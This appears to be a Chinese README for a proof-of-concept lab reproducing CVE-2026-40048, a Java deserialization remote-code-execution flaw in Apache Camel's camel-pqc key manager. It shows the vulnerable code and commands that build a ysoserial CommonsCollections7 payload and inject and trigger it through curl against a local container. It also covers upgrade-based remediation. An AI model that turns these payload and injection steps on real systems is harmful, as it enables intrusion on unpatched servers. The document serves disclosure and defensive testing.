该项目演示了 Apache Camel 的 camel-pqc 组件中的 Java 反序列化漏洞,追踪编号为 CVE-2026-40048。FileBasedKeyLifecycleManager 从配置的密钥目录中读取 <keyId>.key 文件,使用原始的 ObjectInputStream 且未设置 ObjectInputFilter,因此能够写入该目录的攻击者可实现 远程代码执行。
公告:https://camel.apache.org/security/CVE-2026-40048.html
| 属性 | 值 |
|---|---|
| 组件 | camel-pqc |
| 受影响类 | org.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey) |
| CWE | CWE-502:不可信数据的反序列化 |
| 影响 | 远程代码执行 (RCE) |
| 受影响版本 | 从 4.18.0 到 4.18.2 之前,以及从 4.19.0 到 4.20.0 之前 |
| 修复版本 | 4.18.2, 4.20.0 |
| JIRA | CAMEL-23200 |
| 报告者 | Andrea Cosentino (ASF), Venkatraman Kumar (Securin) |
FileBasedKeyLifecycleManager 将后量子密钥以序列化 Java 对象的形式持久化存储在 <keyDir>/<keyId>.key 中。加载密钥时,使用原始的 ObjectInputStream 反序列化该文件,而转换为 KeyPair 的操作发生在 readObject() 返回 之后:
// FileBasedKeyLifecycleManager.getKey(keyId) - 受影响版本
Path keyFile = getKeyFile(keyId); // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
KeyPair keyPair = (KeyPair) ois.readObject(); // 没有 ObjectInputFilter — gadget 在类型转换前执行
...
}
能够写入密钥目录的攻击者——通过路径遍历、错误配置的卷权限、受损的密钥供应管道或符号链接攻击——可以植入一个精心构造的序列化对象,该对象在正常的密钥生命周期加载过程中执行。
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# 良性证明:创建 /tmp/pwned。在 JDK 21 上需添加 --add-opens 来生成 CC gadget:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
<keyId>.keycurl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# 将字节写入容器内的 /tmp/pqc-keys/mykey.key
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget 执行
# -> ">>> RCE 证明 — /tmp/pwned 存在:true"
docker exec cve-2026-40048 ls -la /tmp/pwned
docker compose down
getKey() 在正常的密钥生命周期操作(签名/验证密钥检索、轮换检查等)期间被调用,因此任何对攻击者植入的 <keyId>.key 的加载都会触发反序列化。
FileBasedKeyLifecycleManager 使用的密钥目录具有写入权限(共享/配置错误的卷、路径遍历、受损的供应、符号链接)。commons-collections:3.2.1)。密钥存储中的 ObjectInputStream 模式在之后得到了更广泛的处理:
升级至 4.18.2 / 4.20.0。修复方案将基于 ObjectInputStream 的存储替换为标准的 PKCS#8(私钥)/ X.509 SubjectPublicKeyInfo(公钥)Base64 JSON 编码。
在升级之前:
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ └── ExploitController.java # /inject(植入 .key), /trigger(getKey -> RCE), /cleanup
└── resources/
└── application.properties
本复现工具仅用于 安全研究和授权测试,针对 公开披露且已修复 的漏洞。请勿将其用于未经明确许可的系统。